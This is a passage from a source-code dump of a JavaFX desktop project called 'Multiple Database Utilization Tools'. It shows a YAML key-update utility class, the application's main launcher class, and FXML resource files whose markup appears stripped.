setValue(key.substring(0, key.lastIndexOf(".")), result); 80 | } 81 | return result; 82 | } 83 | 84 | public Map setValue(Map map, String key, Object value){ 85 | 86 | String[] keys = key.split("\\."); 87 | 88 | int len = keys.length; 89 | Map temp = map; 90 | for(int i = 0; i< len-1; i++){ 91 | if(temp.containsKey(keys[i])){ 92 | temp = (Map)temp.get(keys[i]); 93 | }else { 94 | return null; 95 | } 96 | if(i == len-2){ 97 | temp.put(keys[i+1],value); 98 | } 99 | } 100 | for(int j = 0; j < len - 1; j++){ 101 | if(j == len -1){ 102 | map.put(keys[j],temp); 103 | } 104 | } 105 | return map; 106 | } 107 | 108 | 109 | /** 110 | * 修改yaml中属性的值 111 | * @param key key是properties的方式: aaa.bbb.ccc (key不存在不修改) 112 | * @param value 新的属性值 (新属性值和旧属性值一样,不修改) 113 | * @param yamlName 114 | * @return true 修改成功,false 修改失败。 115 | */ 116 | public boolean updateYaml(String key, Object value, String yamlName) throws IOException { 117 | 118 | Map yamlToMap = this.getYamlToMap(yamlName); 119 | if(null == yamlToMap) { 120 | return false; 121 | } 122 | Object oldVal = this.getValue(key, yamlToMap); 123 | 124 | //未找到key 不修改 125 | if(null == oldVal){ 126 | return false; 127 | } 128 | //不是最小节点值,不修改 129 | if(oldVal instanceof Map){ 130 | return false; 131 | } 132 | 133 | //新旧值一样 不修改 134 | if(value.equals(oldVal)){ 135 | return false; 136 | } 137 | 138 | Yaml yaml = new Yaml(OPTIONS); 139 | // String path = this.getClass().getClassLoader().getResource(yamlName).getPath(); 140 | String path = Utils.getSelfPath() + File.separator + yamlName; 141 | 142 | try { 143 | Map resultMap = this.setValue(yamlToMap, key, value); 144 | if(resultMap != null){ 145 | yaml.dump(this.setValue(yamlToMap,key,value),new FileWriter(path)); 146 | return true; 147 | }else { 148 | return false; 149 | } 150 | }catch (Exception e){ 151 | 152 | } 153 | return false; 154 | } 155 | 156 | } 157 | -------------------------------------------------------------------------------- /MDAT-DEV/src/main/java/main.java: -------------------------------------------------------------------------------- 1 | import Util.Utils; 2 | import javafx.application.Application; 3 | import javafx.fxml.FXMLLoader; 4 | import javafx.scene.Parent; 5 | import javafx.scene.Scene; 6 | import javafx.scene.image.Image; 7 | import javafx.stage.Stage; 8 | 9 | public class main extends Application { 10 | 11 | @Override 12 | public void start(Stage primaryStage) throws Exception { 13 | Parent root = FXMLLoader.load(getClass().getResource("/main.fxml")); 14 | primaryStage.getIcons().add(new Image(getClass().getResourceAsStream("/images/logo.png"))); 15 | primaryStage.setTitle("Multiple Database Utilization Tools - " + Utils.getCurrentVersion()); 16 | primaryStage.setScene(new Scene(root)); 17 | primaryStage.show(); 18 | } 19 | 20 | public static void main(String[] args) { 21 | launch(args); 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /MDAT-DEV/src/main/resources/addAndEdit.fxml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | -------------------------------------------------------------------------------- /MDAT-DEV/src/main/resources/update.fxml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 |